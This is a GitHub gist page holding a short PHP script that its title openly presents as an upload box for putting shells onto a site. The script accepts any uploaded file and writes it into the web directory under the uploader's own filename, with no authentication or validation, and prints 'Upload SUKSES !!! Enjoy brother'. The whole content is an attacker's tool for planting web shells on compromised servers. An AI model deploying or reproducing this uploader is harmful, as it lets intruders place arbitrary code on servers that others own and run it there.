Skip to content

Instantly share code, notes, and snippets.

@sh1nu11bi
Created October 6, 2014 14:51
Show Gist options
  • Save sh1nu11bi/430866bb462cfa28ef89 to your computer and use it in GitHub Desktop.
Save sh1nu11bi/430866bb462cfa28ef89 to your computer and use it in GitHub Desktop.
PHP upload box to upload shells to site
<?php
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload SUKSES !!! Enjoy brother</b><br><br>'; }
else { echo '<b>Upload Failed !!! Try again</b><br><br>'; }
}
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment